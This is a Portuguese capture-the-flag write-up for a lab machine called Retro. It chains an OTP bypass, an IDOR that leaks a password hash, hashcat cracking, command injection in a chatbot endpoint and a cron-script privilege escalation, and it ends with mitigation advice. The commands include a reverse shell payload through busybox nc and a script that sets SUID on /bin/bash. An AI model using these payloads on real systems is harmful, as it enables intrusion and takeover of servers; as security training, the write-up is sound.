Máquina: Retro
🎯 Writeup — Máquina Retro
Dificuldade: Médio | SO: Linux | Tags:
API Fuzzing·IDOR·Broken Access Control·Hash Cracking·Command Injection·ROM Emulator PrivEsc
1. Sumário Executivo
O comprometimento total foi alcançado através de uma cadeia de quatro vulnerabilidades encadeadas em uma plataforma de jogos arcade (Django). O ataque iniciou com Broken Access Control no fluxo de autenticação OTP — o token JWT era gerado antes da validação do código, permitindo acesso direto ao /dashboard sem completar a autenticação. Autenticado, uma vulnerabilidade de IDOR no endpoint /api/profile/{id} possibilitou enumerar perfis de outros usuários e extrair o hash Django do usuário ronin@games.com, quebrado via hashcat. Com o acesso ao plano premium, uma funcionalidade de chatbot expôs uma vulnerabilidade de Command Injection via backticks, resultando em uma reverse shell no servidor. A escalação de privilégios foi obtida através de uma lógica insegura em verification_rom.py: o script executado como root criava um diretório de ROMs caso não existisse e executava arquivos .smc nele — permitindo substituir o diretório por um controlável e injetar um payload que habilitou o SUID no /bin/bash.
2. Reconhecimento
2.1 Scan de Portas
nmap -sC -sV <IP_ALVO>
Resultado:
| Porta | Serviço |
|---|---|
| 22 | SSH |
| 80 | HTTP (Aplicação Django — plataforma de jogos arcade) |
2.2 Configuração de DNS Local
A aplicação em http://<IP_ALVO> redireciona para o domínio retro.hc. Para resolver o hostname localmente:
sudo nano /etc/hosts
# Adicionar:
<IP_ALVO> retro.hc
2.3 Fuzzing de Rotas da API
A aplicação expõe uma API. Com ffuf, foram enumeradas as rotas disponíveis:
ffuf -u http://retro.hc/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
Rotas identificadas:
| Endpoint | Descrição |
|---|---|
/api/login |
Autenticação |
/api/register |
Criação de conta |
/api/profile/{id} |
Perfil do usuário — vulnerável a IDOR |
/api/chatbot |
Chat com IA — vulnerável a Command Injection |
3. Exploração — Acesso Inicial via Broken Access Control (OTP Bypass)
3.1 Registro de Usuário
Com a rota /api/register descoberta, foi criada uma conta na plataforma.
3.2 Fluxo de Autenticação Quebrado
Ao realizar o login, a aplicação solicitou um código OTP para verificação em dois fatores. Porém, ao interceptar a requisição com Burp Suite, foi identificado que:
⚠️ O token JWT de sessão já havia sido gerado e retornado pela API antes da validação do OTP, e a resposta da API incluía o path
/dashboardcomo destino pós-autenticação.
3.3 Bypass — Acesso Direto ao Dashboard
Utilizando o JWT já emitido e acessando diretamente o endpoint /dashboard sem enviar o OTP:
GET http://retro.hc/dashboard
Authorization: Bearer <JWT gerado no login>
Resultado: Acesso concedido ao painel autenticado sem validação do OTP.
🔑 Falha crítica: O controle de acesso não verifica se o OTP foi validado antes de aceitar o JWT como autenticado. A autorização é tratada apenas no frontend, sem enforcement no backend.
4. Exploração — IDOR e Hash Cracking
4.1 Identificação do IDOR em /api/profile/{id}
Ao acessar o perfil do próprio usuário, foi identificada a requisição:
GET /api/profile/1
Authorization: Bearer <JWT>
O parâmetro id era completamente manipulável, sem validação de propriedade. Ao iterar os IDs:
# Enumeração manual ou com ffuf/burp intruder
for i in $(seq 1 20); do
curl -s http://retro.hc/api/profile/$i \
-H "Authorization: Bearer <JWT>" | python3 -m json.tool
done
Resultado: O ID 12 retornou o perfil do usuário ronin@games.com contendo o hash Django de sua senha.
⚠️ Falha: Ausência de autorização baseada em objeto (BOLA/IDOR). Qualquer usuário autenticado pode ler dados de qualquer outro usuário.
4.2 Identificação e Quebra do Hash Django
O hash retornado pelo IDOR estava no formato Django PBKDF2 (pbkdf2_sha256$...), identificado pelo prefixo. Usando hashcat:
hashcat -a 0 -m 10000 hash.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat -m 10000= Django (PBKDF2-SHA256)
Credencial obtida:
ronin@games.com : <senha_quebrada>
🔑 Login realizado com as credenciais do usuário premium
ronin@games.com.
5. Exploração — Command Injection no Chatbot
5.1 Análise da Funcionalidade
O usuário ronin@games.com possuía acesso ao plano premium, que incluía uma funcionalidade de chatbot. Ao interceptar a requisição da API:
POST /api/chatbot
Content-Type: application/json
Authorization: Bearer <JWT_ronin>
{"message": "Hello"}
5.2 Confirmação de Command Injection via Backticks
A mensagem era processada server-side sem sanitização. O uso de backticks (operador de execução de shell) no campo message resultou em execução de comandos:
{"message": "`id`Hello"}
Resposta: Saída do comando id incluída na resposta da API.
5.3 Reverse Shell via BusyBox
Configurando o listener:
nc -lvnp 443
Payload enviado para o chatbot:
{
"message": "`busybox nc <IP_VPN> 443 -e bash`Hello"
}
Conexão recebida como usuário da aplicação Django.
6. Pós-Exploração — Estabilização e Flag de Usuário
python3 -c "import pty;pty.spawn('/bin/bash')"
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm
Flag de Usuário: Encontrada no diretório home do usuário comprometido.
7. Escalação de Privilégios (PrivEsc) — ROM Emulator Script Hijacking
7.1 Code Review do verification_rom.py
Foi identificado o script /home/appuser/verification_rom.py executado como root (via cron). Analisando sua lógica:
# Lógica simplificada do script
rom_source = "/home/appuser/roms"
if not os.path.exists(rom_source):
os.makedirs(rom_source) # Cria o diretório se não existir
# Executa todos os arquivos .smc encontrados no diretório
for rom in glob.glob(f"{rom_source}/*.smc"):
subprocess.run([emulator_binary, rom], ...) # Roda como root
Vulnerabilidades identificadas:
- O script cria o diretório
/home/appuser/romsse não existir, com permissões herdadas do processoroot. - Todos os arquivos
.smcdentro do diretório são executados como root.
⚠️ O diretório
/home/appuser/romsnão era acessível (sem permissão de leitura/escrita) para o usuário atual — mas era possível deletá-lo e recriá-lo.
7.2 Exploração — Directory Replacement + Payload .smc
# Deletar o diretório original (sem permissão de escrita, mas com permissão no pai)
cd /home/appuser
rm -rf roms
# Recriar o diretório com permissões do usuário atual
mkdir roms
cd roms
# Criar payload .smc que aplica SUID no /bin/bash
echo -e '#!/bin/bash\nchmod +s /bin/bash' > xpl.smc
chmod +x xpl.smc
7.3 Gatilho e Exploração
Aguardando a próxima execução do cron que chama verification_rom.py como root:
# Verificar se o SUID foi aplicado
ls -la /bin/bash
# -rwsr-sr-x 1 root root ... /bin/bash
# Obter shell de root
/bin/bash -p
whoami
# root
Flag de Root: Obtida em /root/root.txt.
8. Diagrama da Cadeia de Ataque
[Registro → Login → OTP solicitado]
│
▼
JWT gerado ANTES da validação OTP
+ path /dashboard exposto na resposta
│
└─► Acesso direto ao /dashboard (OTP Bypass) ✅
│
└─► IDOR: /api/profile/{id}
│
└─► ID 12 → hash Django de ronin@games.com
│
└─► hashcat -m 10000 → senha quebrada
│
└─► Login como ronin (plano premium) ✅
│
└─► /api/chatbot (Command Injection)
│
└─► `busybox nc` → Reverse Shell ✅
│
└─► Flag usuário
│
└─► verification_rom.py (root cron)
│
└─► rm -rf roms + xpl.smc
│
└─► chmod +s /bin/bash → ROOT ✅
9. Credenciais e Flags
| Item | Valor |
|---|---|
| Conta criada | Usuário registrado via /api/register |
| Usuário comprometido via IDOR | ronin@games.com |
| Senha ronin | <senha quebrada pelo hashcat> |
| Flag Usuário | (obtida no diretório home pós-shell) |
| Flag Root | (obtida em /root/root.txt) |
10. Vulnerabilidades Identificadas
| # | Vulnerabilidade | Severidade | CVE/CWE |
|---|---|---|---|
| 1 | Broken Access Control — OTP Bypass (JWT emitido antes da validação) | 🔴 Crítico | CWE-287 |
| 2 | IDOR em /api/profile/{id} — sem controle de autorização por objeto |
🔴 Crítico | CWE-639 |
| 3 | Hash Django exposto via IDOR e quebrável via dicionário | 🔴 Crítico | CWE-916 |
| 4 | Command Injection via backticks no endpoint /api/chatbot |
🔴 Crítico | CWE-78 |
| 5 | Script de root executa arquivos de diretório controlável por usuário não-privilegiado | 🔴 Crítico | CWE-732 |
| 6 | Ausência de sanitização de input no chatbot da API | 🔴 Crítico | CWE-20 |
11. Ferramentas Utilizadas
| Ferramenta | Uso |
|---|---|
nmap |
Scan de portas/serviços |
ffuf |
Fuzzing de rotas da API |
Burp Suite |
Interceptação, análise de requisições e manipulação de parâmetros |
hashcat (-m 10000) |
Quebra de hash Django PBKDF2-SHA256 |
busybox nc |
Reverse shell no servidor (BusyBox netcat) |
netcat (nc) |
Listener para reverse shells |
SecLists (rockyou.txt, raft-large-words.txt) |
Wordlists para fuzzing e cracking |
12. Recomendações de Mitigação
- OTP Bypass / Broken Access Control: O JWT só deve ser emitido e aceito como válido após a conclusão de todos os fatores de autenticação. Implementar estado de sessão server-side que marque a sessão como "pendente de MFA" e rejeite requisições autenticadas até a validação completa.
- IDOR: Implementar autorização baseada em objeto (BOLA): verificar no backend se o
idsolicitado pertence ao usuário autenticado. Usar UUIDs aleatórios em vez de IDs sequenciais para dificultar enumeração. - Hash Cracking: Utilizar algoritmos de hashing com custo computacional elevado e configurados com parâmetros de iteração altos (bcrypt, Argon2id). Garantir que senhas fracas não sejam aceitas no cadastro (política de complexidade + verificação contra listas de senhas vazadas).
- Command Injection no Chatbot: Nunca passar input do usuário diretamente para funções de execução de shell (
os.system,subprocess,eval). Usar APIs nativas da linguagem para processamento de texto ou sanitizar rigorosamente com whitelist de caracteres. - ROM Script / Cron como root: Garantir que o diretório de ROMs pertença ao
roote não seja deletável por outros usuários (chmod 755 /home/appuser/roms; chown root:root /home/appuser/roms). O script deve validar a integridade/assinatura dos arquivos antes de executá-los. Evitar executar arquivos de diretórios graváveis por outros usuários como root. - API Fuzzing / Exposição de rotas: Implementar autenticação em todas as rotas da API. Rotas administrativas ou sensíveis devem exigir autorização explícita e não devem ser descobertas via wordlist comum.